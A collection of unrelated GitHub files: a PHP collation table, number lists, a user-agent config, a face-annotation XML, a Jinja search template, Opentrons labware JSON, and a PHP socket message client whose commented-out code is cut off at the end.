{ "pile_set_name": "Github" }
<?php $collation = array ( 710 => 94, 189 => 188, 190 => 179, 65 => 97, 170 => 97, 225 => 97, 193 => 97, 224 => 97, 192 => 97, 226 => 97, 194 => 97, 228 => 97, 196 => 97, 227 => 97, 195 => 97, 229 => 97, 197 => 97, 230 => 97, 198 => 97, 66 => 98, 67 => 99, 231 => 99, 199 => 99, 68 => 100, 240 => 100, 208 => 100, 69 => 101, 233 => 101, 201 => 101, 232 => 101, 200 => 101, 234 => 101, 202 => 101, 235 => 101, 203 => 101, 70 => 102, 402 => 102, 71 => 103, 72 => 104, 73 => 105, 237 => 105, 205 => 105, 236 => 105, 204 => 105, 238 => 105, 206 => 105, 239 => 105, 207 => 105, 74 => 106, 75 => 107, 76 => 108, 77 => 109, 78 => 110, 209 => 241, 79 => 111, 186 => 111, 243 => 111, 211 => 111, 242 => 111, 210 => 111, 244 => 111, 212 => 111, 246 => 111, 214 => 111, 245 => 111, 213 => 111, 248 => 111, 216 => 111, 339 => 111, 338 => 111, 80 => 112, 81 => 113, 82 => 114, 83 => 115, 353 => 115, 352 => 115, 223 => 115, 84 => 116, 254 => 116, 222 => 116, 85 => 117, 250 => 117, 218 => 117, 249 => 117, 217 => 117, 251 => 117, 219 => 117, 252 => 117, 220 => 117, 86 => 118, 87 => 119, 88 => 120, 89 => 121, 253 => 121, 221 => 121, 255 => 121, 376 => 121, 90 => 122, 382 => 122, 381 => 122, );
{ "pile_set_name": "Github" }
13 15 11 9 9 7 15 12 10 15 20 8 18 6 16 9 13 5 9 9 11 9 17 13 9 11 13 27 17 8 7 13 4 6 9 9 6 11 7 4 18 9 13 4 7 15 6 17 7 15 13 6 9 8 2 5 11 29 17 9 6 13 13 9 8 16 6 9 13 13 14 16 11 0 29 6 9 8 11 27 7 9 22 9 15 13 12 15 7 7 11 11 11 11 11 15 4 15 11 17 14 9 9 13 11 4 9 13 13 7 9 6 5 5 9 11 15 15 11 2 7 6 11 8 11 8 15 2 4 15 11 6 9 9 16 17 9 9 15 12 16 10 9 6 9 9 16 11 13 23 16 11 23 13 20 13 17 13 13 11 7 16 11 44 13 30 15 23 22 8 25 25 11 11 15 5 17 11 19 11 29 11 17 25 30 14 18 17 14 20 11 11 11 15 11 16 16 15 36 16 9 9 9 10 34 7 21 17 17 22 10 17 11 18 17 7 11 18 17 15 14 7 7 9 9 15 6 13 10 7 15 24 16 11 13 7 11 13 11 16 16 19 15 11 17 11 11 7 39 5 15 13 8 9 12 13 6 13 12 9 2 14 5 4 11 14 4 7 4 7 4 7 11 6 7 7 11 6 7 9 10 2 15 7 7 9 4 10
{ "pile_set_name": "Github" }
<?php defined('SYSPATH') OR die('No direct script access.'); return array( 'platform' => array( 'windows nt 6.2' => 'Windows 8', 'windows nt 6.1' => 'Windows 7', 'windows nt 6.0' => 'Windows Vista', 'windows nt 5.2' => 'Windows 2003', 'windows nt 5.1' => 'Windows XP', 'windows nt 5.0' => 'Windows 2000', 'windows nt 4.0' => 'Windows NT', 'winnt4.0' => 'Windows NT', 'winnt 4.0' => 'Windows NT', 'winnt' => 'Windows NT', 'windows 98' => 'Windows 98', 'win98' => 'Windows 98', 'windows 95' => 'Windows 95', 'win95' => 'Windows 95', 'windows' => 'Unknown Windows OS', 'os x' => 'Mac OS X', 'intel mac' => 'Intel Mac', 'ppc mac' => 'PowerPC Mac', 'powerpc' => 'PowerPC', 'ppc' => 'PowerPC', 'cygwin' => 'Cygwin', 'linux' => 'Linux', 'debian' => 'Debian', 'openvms' => 'OpenVMS', 'sunos' => 'Sun Solaris', 'amiga' => 'Amiga', 'beos' => 'BeOS', 'apachebench' => 'ApacheBench', 'freebsd' => 'FreeBSD', 'netbsd' => 'NetBSD', 'bsdi' => 'BSDi', 'openbsd' => 'OpenBSD', 'os/2' => 'OS/2', 'warp' => 'OS/2', 'aix' => 'AIX', 'irix' => 'Irix', 'osf' => 'DEC OSF', 'hp-ux' => 'HP-UX', 'hurd' => 'GNU/Hurd', 'unix' => 'Unknown Unix OS', ), 'browser' => array( 'Opera' => 'Opera', 'MSIE' => 'Internet Explorer', 'Internet Explorer' => 'Internet Explorer', 'Shiira' => 'Shiira', 'Firefox' => 'Firefox', 'Chimera' => 'Chimera', 'Phoenix' => 'Phoenix', 'Firebird' => 'Firebird', 'Camino' => 'Camino', 'Navigator' => 'Netscape', 'Netscape' => 'Netscape', 'OmniWeb' => 'OmniWeb', 'Chrome' => 'Chrome', 'Safari' => 'Safari', 'CFNetwork' => 'Safari', // Core Foundation for OSX, WebKit/Safari 'Konqueror' => 'Konqueror', 'Epiphany' => 'Epiphany', 'Galeon' => 'Galeon', 'Mozilla' => 'Mozilla', 'icab' => 'iCab', 'lynx' => 'Lynx', 'links' => 'Links', 'hotjava' => 'HotJava', 'amaya' => 'Amaya', 'IBrowse' => 'IBrowse', ), 'mobile' => array( 'mobileexplorer' => 'Mobile Explorer', 'openwave' => 'Open Wave', 'opera mini' => 'Opera Mini', 'operamini' => 'Opera Mini', 'elaine' => 'Palm', 'palmsource' => 'Palm', 'digital paths' => 'Palm', 'avantgo' => 'Avantgo', 'xiino' => 'Xiino', 'palmscape' => 'Palmscape', 'nokia' => 'Nokia', 'ericsson' => 'Ericsson', 'blackBerry' => 'BlackBerry', 'motorola' => 'Motorola', 'iphone' => 'iPhone', 'ipad' => 'iPad', 'ipod' => 'iPod', 'android' => 'Android', ), 'robot' => array( 'googlebot' => 'Googlebot', 'msnbot' => 'MSNBot', 'facebookexternalhit' => 'Facebook', 'slurp' => 'Inktomi Slurp', 'yahoo' => 'Yahoo', 'askjeeves' => 'AskJeeves', 'fastcrawler' => 'FastCrawler', 'infoseek' => 'InfoSeek Robot 1.0', 'lycos' => 'Lycos', ), );
{ "pile_set_name": "Github" }
<?xml version="1.0" ?> <annotation> <folder>widerface</folder> <filename>58--Hockey_58_Hockey_icehockey_puck_58_615.jpg</filename> <source> <database>wider face Database</database> <annotation>PASCAL VOC2007</annotation> <image>flickr</image> <flickrid>-1</flickrid> </source> <owner> <flickrid>yanyu</flickrid> <name>yanyu</name> </owner> <size> <width>1024</width> <height>642</height> <depth>3</depth> </size> <segmented>0</segmented> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>660</xmin> <ymin>237</ymin> <xmax>703</xmax> <ymax>288</ymax> </bndbox> <lm> <x1>681.478</x1> <y1>251.094</y1> <x2>685.062</x2> <y2>249.138</y2> <x3>696.469</x3> <y3>257.286</y3> <x4>691.58</x4> <y4>271.625</y4> <x5>694.188</x5> <y5>268.692</y5> <visible>1</visible> <blur>0.61</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>143</xmin> <ymin>139</ymin> <xmax>187</xmax> <ymax>189</ymax> </bndbox> <lm> <x1>161.147</x1> <y1>157.161</y1> <x2>179.531</x2> <y2>157.795</y2> <x3>171.29</x3> <y3>169.205</y3> <x4>160.83</x4> <y4>176.179</y4> <x5>173.192</x5> <y5>175.862</y5> <visible>0</visible> <blur>0.62</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>877</xmin> <ymin>0</ymin> <xmax>892</xmax> <ymax>20</ymax> </bndbox> <lm> <x1>884.277</x1> <y1>5.469</y1> <x2>888.964</x2> <y2>5.58</y2> <x3>891.754</x3> <y3>8.482</y3> <x4>886.621</x4> <y4>14.844</y4> <x5>889.969</x5> <y5>14.955</y5> <visible>1</visible> <blur>0.27</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>752</xmin> <ymin>44</ymin> <xmax>777</xmax> <ymax>74</ymax> </bndbox> <lm> <x1>761.839</x1> <y1>54.679</y1> <x2>771.661</x2> <y2>55.268</y2> <x3>768.125</x3> <y3>60.964</y3> <x4>762.232</x4> <y4>66.857</y4> <x5>769.5</x5> <y5>67.054</y5> <visible>1</visible> <blur>0.43</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>948</xmin> <ymin>47</ymin> <xmax>970</xmax> <ymax>80</ymax> </bndbox> <lm> <x1>964.0</x1> <y1>62.0</y1> <x2>968.0</x2> <y2>64.0</y2> <x3>970.0</x3> <y3>70.0</y3> <x4>964.0</x4> <y4>74.0</y4> <x5>967.0</x5> <y5>76.0</y5> <visible>1</visible> <blur>0.34</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>612</xmin> <ymin>1</ymin> <xmax>629</xmax> <ymax>24</ymax> </bndbox> <lm> <x1>616.098</x1> <y1>6.085</y1> <x2>618.946</x2> <y2>6.214</y2> <x3>612.603</x3> <y3>12.17</y3> <x4>617.263</x4> <y4>19.161</y4> <x5>617.652</x5> <y5>19.031</y5> <visible>1</visible> <blur>0.26</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>586</xmin> <ymin>1</ymin> <xmax>611</xmax> <ymax>19</ymax> </bndbox> <lm> <x1>593.821</x1> <y1>1.357</y1> <x2>604.429</x2> <y2>0.393</y2> <x3>600.25</x3> <y3>6.5</y3> <x4>596.554</x4> <y4>12.929</y4> <x5>604.429</x5> <y5>11.321</y5> <visible>1</visible> <blur>0.3</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>556</xmin> <ymin>28</ymin> <xmax>575</xmax> <ymax>59</ymax> </bndbox> <lm> <x1>562.388</x1> <y1>37.875</y1> <x2>572.835</x2> <y2>40.286</y2> <x3>567.411</x3> <y3>46.915</y3> <x4>561.183</x4> <y4>50.129</y4> <x5>566.808</x5> <y5>52.339</y5> <visible>0</visible> <blur>0.46</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>482</xmin> <ymin>2</ymin> <xmax>506</xmax> <ymax>19</ymax> </bndbox> <lm> <x1>494.455</x1> <y1>3.259</y1> <x2>504.018</x2> <y2>2.045</y2> <x3>501.286</x3> <y3>7.661</y3> <x4>497.491</x4> <y4>13.429</y4> <x5>502.955</x5> <y5>13.429</y5> <visible>0</visible> <blur>0.37</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>239</xmin> <ymin>20</ymin> <xmax>262</xmax> <ymax>54</ymax> </bndbox> <lm> <x1>254.156</x1> <y1>35.188</y1> <x2>258.969</x2> <y2>35.625</y2> <x3>261.156</x3> <y3>41.75</y3> <x4>254.156</x4> <y4>47.656</y4> <x5>257.438</x5> <y5>47.875</y5> <visible>1</visible> <blur>0.44</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>290</xmin> <ymin>34</ymin> <xmax>315</xmax> <ymax>64</ymax> </bndbox> <lm> <x1>295.438</x1> <y1>42.25</y1> <x2>303.688</x2> <y2>42.062</y2> <x3>296.938</x3> <y3>50.125</y3> <x4>296.188</x4> <y4>56.125</y4> <x5>302.938</x5> <y5>55.562</y5> <visible>0</visible> <blur>0.39</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>204</xmin> <ymin>1</ymin> <xmax>225</xmax> <ymax>16</ymax> </bndbox> <lm> <x1>212.0</x1> <y1>3.0</y1> <x2>224.0</x2> <y2>3.0</y2> <x3>219.0</x3> <y3>3.0</y3> <x4>214.0</x4> <y4>10.0</y4> <x5>223.0</x5> <y5>10.0</y5> <visible>0</visible> <blur>0.31</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>238</xmin> <ymin>1</ymin> <xmax>262</xmax> <ymax>16</ymax> </bndbox> <lm> <x1>249.0</x1> <y1>3.0</y1> <x2>261.0</x2> <y2>3.0</y2> <x3>257.0</x3> <y3>2.0</y3> <x4>252.0</x4> <y4>8.0</y4> <x5>259.0</x5> <y5>8.0</y5> <visible>0</visible> <blur>0.3</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>96</xmin> <ymin>43</ymin> <xmax>123</xmax> <ymax>81</ymax> </bndbox> <lm> <x1>109.223</x1> <y1>59.589</y1> <x2>119.589</x2> <y2>61.036</y2> <x3>116.938</x3> <y3>66.821</y3> <x4>109.946</x4> <y4>73.089</y4> <x5>116.214</x5> <y5>73.812</y5> <visible>1</visible> <blur>0.5</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>28</xmin> <ymin>57</ymin> <xmax>56</xmax> <ymax>94</ymax> </bndbox> <lm> <x1>41.973</x1> <y1>74.027</y1> <x2>52.857</x2> <y2>72.844</y2> <x3>50.018</x3> <y3>81.125</y3> <x4>44.339</x4> <y4>88.46</y4> <x5>52.147</x5> <y5>87.513</y5> <visible>0</visible> <blur>0.52</blur> </lm> <has_lm>1</has_lm> </object> <object> <name>face</name> <pose>Unspecified</pose> <truncated>1</truncated> <difficult>0</difficult> <bndbox> <xmin>153</xmin> <ymin>9</ymin> <xmax>173</xmax> <ymax>28</ymax> </bndbox> <has_lm>0</has_lm> </object> </annotation>
{ "pile_set_name": "Github" }
{% extends 'homepage.html' %} {% block content %} <h2> Further refine search </h2> <form id='re-search'> {% include 'hidden_search_inputs.html' %} <table border="0"> <tr> <td align=left>{{ KNOWL('rep_galois_modl.dimension', title='Dimension') }}</td> <td align=left>{{ KNOWL('rep_galois_modl.determinant', title='Determinant') }}</td> <td align=left>{{ KNOWL('rep_galois_modl.level', title='Level') }}</td> <td align=left>{{ KNOWL('rep_galois_modl.gram', title='Gram matrix') }}</td> </tr> <tr> <td align=left><input type='text' name='dim' size=10 value="{{info.dim}}"></td> <td align=left><input type='text' name='det' size=10 value="{{info.det}}"></td> <td align=left><input type='text' name='level' size=10 value="{{info.level}}"></td> <td align=left><input type='text' name='gram' size=10 value="{{info.gram}}"></td> </tr> <tr> <td align=left>{{ KNOWL('rep_galois_modl.minimal_vector', title='Minimal vector')}} length</td> <td align=left>{{ KNOWL('rep_galois_modl.class_number', title='Class number') }}</td> <td align=left>{{ KNOWL('rep_galois_modl.group_order', title='Group order') }}</td> </tr> <tr> <td align=left><input type='text' name='minimum' size=10 value="{{info.minimum}}"> </td> <td align=left><input type='text' name='class_number' size=10 value="{{info.class_number}}"> </td> <td align=left><input type='text' name='aut' size=10 value="{{info.aut}}"> </td> </tr> <tr>&nbsp;</tr> <tr> <td><button type='submit' size=10 value='refine' onclick='resetStart()'>Search again</button></td> </tr> </table> </form> {% include 'matches.html' %} {% if info.number %} <table> <tr> <th>{{ KNOWL('rep_galois_modl.label', title='Label') }}</th> <th>{{ KNOWL('rep_galois_modl.dimension', title='Dimension') }}</th> <th>{{ KNOWL('rep_galois_modl.determinant', title='Determinant') }}</th> <th>{{ KNOWL('rep_galois_modl.level', title='Level')}}</th> <th>{{ KNOWL('rep_galois_modl.gram', title='Gram Matrix') }}</th> </tr> {% for l in info.results %} <tr> <td align='left'><a href="{{url_for('rep_galois_modl.render_rep_galois_modl_webpage', label=l.label)}}">{{l.label}} </a></td> <td>{{l.dim}}</td> <td>{{l.det}}</td> <td>{{l.level}}</td> <td>${{l.gram}}$</td> </tr> {% endfor %} </table> <hr> {% include 'forward_back.html' %} {% include 'download_search_results.html' %} {% endif %} {% include 'debug_info.html' %} {% endblock %}
{ "pile_set_name": "Github" }
2 0 6 4 0 44 0 0 8 4 4 0 0 0 6 2 4 2 65 4 6 8 6 0 0 2 4 4 6 2 8 6 4 0 6 2 0 0 2 0 6 0 0 0 0 8 2 6 27 0 0 4 0 2 2 0 2 2 4 0 4 0 0 41 0 0 0 2 4 2 0 4 0 6 8 58 0 0 0 6 0 0 0 0 2 6 0 2 0 0 52 0 0 6 0 6 0 0 0 0 4 4 0 4 4 0 0 42 6 0 6 0 2 4 2 4 4 4 0 4 0 0 4 0 10 6 0 2 8 0 2 6 2 4 4 8 4 6 0 4 6 2 4 4 0 91 56 6 60 4 57 90 65 48 85 4 80 0 6 2 4 2 10 6 0 6 0 2 0 6 0 6 2 0 2 4 0 4 6 0 0 2 4 6 2 0 6 2 8 4 2 6 0 6 0 0 4 2 2 2 4 0 0 0 0 4 6 6 0 4 62 10 0 39 4 88 6 4 6 0 6 0 8 0 0 6 0 4 0 0 2 2 4 4 10 2 2 42 4 4 2 0 4 0 4 6 2 2 0 0 0 2 2 32 0 0 2 0 2 25 8 6 4 4 2 4 0 4 4 2 0 2 2 0 8 0 6 60 2 0 0 8 2 8 2 41 0 6
{ "pile_set_name": "Github" }
{ "ordering": [ ["A1", "B1", "C1"], ["A2", "B2", "C2"], ["A3", "B3"], ["A4", "B4"] ], "schemaVersion": 2, "version": 1, "namespace": "opentrons", "metadata": { "displayName": "Opentrons 10 Tube Rack with Falcon 4x50 mL, 6x15 mL Conical", "displayCategory": "tubeRack", "displayVolumeUnits": "mL", "tags": [] }, "dimensions": { "xDimension": 127.75, "yDimension": 85.5, "zDimension": 124.35 }, "parameters": { "format": "irregular", "isTiprack": false, "isMagneticModuleCompatible": false, "loadName": "opentrons_10_tuberack_falcon_4x50ml_6x15ml_conical" }, "wells": { "A1": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 13.88, "y": 67.75, "z": 6.85 }, "B1": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 13.88, "y": 42.75, "z": 6.85 }, "C1": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 13.88, "y": 17.75, "z": 6.85 }, "A2": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 38.88, "y": 67.75, "z": 6.85 }, "B2": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 38.88, "y": 42.75, "z": 6.85 }, "C2": { "totalLiquidVolume": 15000, "diameter": 14.9, "shape": "circular", "depth": 117.5, "x": 38.88, "y": 17.75, "z": 6.85 }, "A3": { "totalLiquidVolume": 50000, "diameter": 27.81, "shape": "circular", "depth": 113, "x": 71.38, "y": 60.25, "z": 7.3 }, "B3": { "totalLiquidVolume": 50000, "diameter": 27.81, "shape": "circular", "depth": 113, "x": 71.38, "y": 25.25, "z": 7.3 }, "A4": { "totalLiquidVolume": 50000, "diameter": 27.81, "shape": "circular", "depth": 113, "x": 106.38, "y": 60.25, "z": 7.3 }, "B4": { "totalLiquidVolume": 50000, "diameter": 27.81, "shape": "circular", "depth": 113, "x": 106.38, "y": 25.25, "z": 7.3 } }, "brand": { "brand": "Opentrons", "brandId": [], "links": [ "https://shop.opentrons.com/collections/opentrons-tips/products/tube-rack-set-1" ] }, "groups": [ { "wells": ["A1", "B1", "C1", "A2", "B2", "C2"], "metadata": { "displayName": "Falcon 6x15 mL Conical", "displayCategory": "tubeRack", "wellBottomShape": "v" }, "brand": { "brand": "Falcon", "brandId": ["352095", "352096", "352097", "352099", "352196"], "links": [ "https://ecatalog.corning.com/life-sciences/b2c/US/en/Liquid-Handling/Tubes,-Liquid-Handling/Centrifuge-Tubes/Falcon%C2%AE-Conical-Centrifuge-Tubes/p/falconConicalTubes" ] } }, { "wells": ["A3", "B3", "A4", "B4"], "metadata": { "displayName": "Falcon 4x50 mL Conical", "displayCategory": "tubeRack", "wellBottomShape": "v" }, "brand": { "brand": "Falcon", "brandId": ["352070", "352098"], "links": [ "https://ecatalog.corning.com/life-sciences/b2c/US/en/Liquid-Handling/Tubes,-Liquid-Handling/Centrifuge-Tubes/Falcon%C2%AE-Conical-Centrifuge-Tubes/p/falconConicalTubes" ] } } ], "cornerOffsetFromSlot": { "x": 0, "y": 0, "z": 0 } }
{ "pile_set_name": "Github" }
<?php $SockTimeOut = 10; function debug($text) { // flush(); // echo $text; } class CMemStream { var $Buffer; var $InputStream; var $Pos; function CMemStream () { $this->InputStream = false; $this->Pos = 0; $this->Buffer = ""; debug("A : ".gettype($this->Buffer)."<br>"); } function setBuffer ($Buffer) { $this->InputStream = true; $this->Buffer = $Buffer; $this->Pos = 0; } function isReading () { return $this->InputStream; } function serialUInt8 (&$val) { if ($this->isReading()) { $val = ord($this->Buffer{$this->Pos++}); debug(sprintf ("read uint8 '%d'<br>\n", $val)); } else { debug("B".gettype($this->Buffer)."<br>"); debug(sprintf ("write uint8 Buffer size before = %u<br>\n", strlen($this->Buffer))); $this->Buffer = $this->Buffer . chr($val & 0xFF); $this->Pos++; debug("C".gettype($this->Buffer)."<br>"); debug(sprintf ("write uint8 '%d' %d<br>\n", $val, $this->Pos)); debug(sprintf ("write uint8 Buffer size after = %u<br>\n", strlen($this->Buffer))); } } function serialUInt32 (&$val) { if ($this->isReading()) { $val = ord($this->Buffer{$this->Pos++}); $val += ord($this->Buffer{$this->Pos++})*256; $val += ord($this->Buffer{$this->Pos++})*(double)256*256; $val += ord($this->Buffer{$this->Pos++})*(double)256*256*256; debug(sprintf ("read uint32 '%d'<br>\n", $val)); // var_dump($val); } else { debug("D".gettype($this->Buffer)."<br>"); $this->Buffer .= chr($val & 0xFF); $this->Buffer .= chr(($val>>8) & 0xFF); $this->Buffer .= chr(($val>>16) & 0xFF); $this->Buffer .= chr(($val>>24) & 0xFF); $this->Pos += 4; debug("E".gettype($this->Buffer)."<br>"); debug(sprintf ("write uint32 '%d' %d<br>\n", $val, $this->Pos)); } } function serialString (&$val) { if ($this->isReading()) { $this->serialUInt32($size); debug(sprintf ("read string : size = %u<br>\n", $size)); $val = substr ($this->Buffer, $this->Pos, $size); debug(sprintf ("read string '%s'<br>\n", $val)); $this->Pos += strlen($val); } else { $val_len = strlen($val); $this->serialUInt32($val_len); $this->Buffer .= $val; $this->Pos += strlen($val); debug(sprintf ("write string '%s' %d<br>\n", $val, $this->Pos)); } } function serialEnum (&$val) { if ($this->isReading()) { $intValue = 0; $this->serialUInt32($intValue); $val->fromInt((int)$intValue); debug(sprintf ("read enum '%s'<br>\n", $val->toString())); } else { $this->serialUInt32($val->toInt()); debug(sprintf ("write enum '%s' %d<br>\n", $val->toString(), $this->Pos)); } } } class CMessage extends CMemStream { var $MsgName; function CMessage() { $this->CMemStream(); } function setName($name) { $this->MsgName = $name; } } class CCallbackClient { var $ConSock = false; var $MsgNum = 0; function connect($addr, $port, &$res) { global $SockTimeOut; debug(sprintf("Connect<br>")); $this->MsgNum = 0; $this->ConSock = fsockopen ($addr, $port, $errno, $errstr, $SockTimeOut); debug("H".gettype($this->ConSock)."<br>"); if (!$this->ConSock) { $res = "Can't connect to the callback server '$addr:$port' ($errno: $errstr)"; return false; } else { // set time out on the socket to 2 secondes stream_set_timeout($this->ConSock, $SockTimeOut); $res = ""; return true; } } function close() { if ($this->ConSock) { fclose($this->ConSock); debug(sprintf("Close<br>")); } else debug(sprintf("Already Closed !<br>")); } function sendMessage(&$message) { if (!$this->ConSock) { debug(sprintf ("Socket is not valid\n")); return false; } debug(sprintf ("sendMessage : message Buffer is '%d'<br>\n", $message->Pos)); debug(sprintf ("sendMessage : message Buffer is '%d'<br>\n", strlen($message->Buffer))); $hd = new CMemStream; debug(sprintf("SendMessage number %u<br>", $this->MsgNum)); $hd->serialUInt32 ($this->MsgNum); // number the packet $this->MsgNum += 1; debug(sprintf("After SendMessage, number %u<br>", $this->MsgNum)); $messageType = 0; $hd->serialUInt8 ($messageType); $hd->serialString ($message->MsgName); debug(sprintf ("sendMessage : header size is '%d'<br>\n", $hd->Pos)); // $sb .= $message->Buffer; $size = $hd->Pos + $message->Pos; $Buffer = (string) chr(($size>>24)&0xFF); $Buffer .= chr(($size>>16)&0xFF); $Buffer .= chr(($size>>8)&0xFF); $Buffer .= chr($size&0xFF); debug( "E".gettype($hd->Buffer)."<br>"); debug("F".gettype($message->Buffer)."<br>"); $Buffer .= (string) $hd->Buffer; $Buffer .= (string) $message->Buffer; debug("G".gettype($this->ConSock)."<br>"); if (!fwrite ($this->ConSock, $Buffer)) { debug(sprintf ("Error writing to socket\n")); return false; } debug(sprintf ("sent packet size '%d' (written size = %d) <br>\n", strlen($Buffer), $size)); fflush ($this->ConSock); return true; } function waitMessage() { if (!$this->ConSock) { debug(sprintf ("Socket is not valid\n")); return false; } $size = 0; $val = fread ($this->ConSock, 1); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } $size = ord($val) << 24; $val = fread ($this->ConSock, 1); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } $size = ord($val) << 16; $val = fread ($this->ConSock, 1); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } $size += ord($val) << 8; $val = fread ($this->ConSock, 1); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } $size += ord($val); debug(sprintf ("receive packet size '%d'<br>\n", $size)); $fake = fread ($this->ConSock, 5); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } $size -= 5; // remove the fake $Buffer = ""; while ($size > 0 && strlen($Buffer) != $size) { $Buffer .= fread ($this->ConSock, $size - strlen($Buffer)); $info = stream_get_meta_data($this->ConSock); if ($info['timed_out']) { debug('Connection timed out!'); return false; } } $msgin = new CMemStream; $msgin->setBuffer ($Buffer); // decode msg name $msgin->serialString($name); debug(sprintf("Message name = '%s'<BR>", $name)); $message = new CMessage; $message->setBuffer(substr($msgin->Buffer, $msgin->Pos)); $message->setName($name); debug(sprintf("In message name = '%s'<br>", $message->MsgName)); return $message; } } // class CSessionManagerProxy // { // function createSession($userId, $sessionType, $callbackClient) // { // debug(sprintf("Creating session for user %u, type %s<BR>", $userId, $sessionType)); // $msg = new CMessage; // $msg->setName("CSS"); // $msg->serialUInt32($userId); // $msg->serialString($sessionType); // // $callbackClient->sendMessage($msg); // } // } // class CSessionManagerClientSkel // { // function waitCallback($callbackClient) // { // $message = $callbackClient->waitMessage(); // // debug(sprintf("Received message '%s'<BR>", $message->MsgName)); // // switch($message->MsgName) // { // case "CSSR": // debug(sprintf("Create session result<BR>")); // $this->createSessionResult_skel($message); // break; // // case "CSNR": // debug(sprintf("Create scenario result<BR>")); // $this->createScenarioResult_skel($message); // break; // }; // } // // function createSessionResult_skel($message) // { // $userId = 0; // $sessionId = 0; // $result = false; // // $message->serialUInt32($userId); // $message->serialUInt32($sessionId); // $message->serialUInt8($result); // // createSessionResult($userId, $sessionId, $result); // } // } // printf("creating callback client...<BR>"); // // $cb = new CCallbackClient; // $ret = ""; // $cb->connect("192.168.0.1", "8060", $ret); // // $smp = new CSessionManagerProxy; // // printf("creating a new sessions...<BR>"); // $smp->createSession(10, "st_edit", $cb); // // $smcs = new CSessionManagerClientSkel; // $smcs->waitCallback($cb); // // // function createSessionResult($userId, $sessionId, $result) // { // echo "The session result for user $userId is the session $sessionId with a result of $result\n"; // } // // This function connect to the AS. // If true, $res contains the url to connect. // If false, $res contains the reason why it s not okay. // function connectToAS(&$fp, &$res) // { // global $ASHost, $ASPort; ///* // $sid = session_id(); // $result = sqlquery("SELECT socket_id FROM resident_socket"); // if (!$result || sqlnumrows($result) == 0) // { // $fp = pfsockopen ($ASHost, $ASPort, $errno, $errstr, 30); // echo "opened resident socket '$fp'\n"; // // $result = sqlquery("SELECT socket_id FROM resident_socket WHERE socket_id='$fp'"); // if ($result && sqlnumrows($result)>0) // sqlquery("DELETE FROM resident_socket WHERE socket_id='$fp'"); // // sqlquery("INSERT INTO resident_socket SET socket_id='$fp', session_id='$sid', last_access=NOW()"); // } // else // { // $result = sqlfetch($result); // $fp = $result["socket_id"]; // } // // // remove too old sockets // sqlquery("SELECT socket_id FROM resident_socket WHERE NOW()-last_access > 1800"); // while ($result && ($arr=sqlfetch($result))) // { // fclose((int)($arr["socket_id"])); // sqlquery("DELETE FROM resident_socket WHERE socket_id='".$arr["socket_id"]."'"); // } // // // update current socket last access // sqlquery("UPDATE resident_socket SET last_access=NOW() WHERE socket_id='$fp' AND session_id='$sid'"); //*/ // // // connect to the login service that must be $ASHost:$ASPort // $fp = fsockopen ($ASHost, $ASPort, $errno, $errstr, 30); // if (!$fp) // { // $res = "Can't connect to the admin service '$ASHost:$ASPort' ($errno: $errstr)"; // } // else // { // $res = ""; // } // // } // // function disconnectFromAS(&$fp) // { ///* // $result = sqlquery("SELECT socket_id FROM resident_socket WHERE socket_id='$fp'"); // if (!$result || sqlnumrows($socket)==0) // fclose($fp); //*/ // fclose($fp); // } // // function sendMessage ($fp, $msgout) // { // $size = $msgout->Pos; // $Buffer = chr(($size>>24)&0xFF); // $Buffer .= chr(($size>>16)&0xFF); // $Buffer .= chr(($size>>8)&0xFF); // $Buffer .= chr($size&0xFF); // $Buffer .= $msgout->Buffer; // // fwrite ($fp, $Buffer); // // //printf ("sent packet size '%d'<br>", strlen($Buffer)); // // fflush 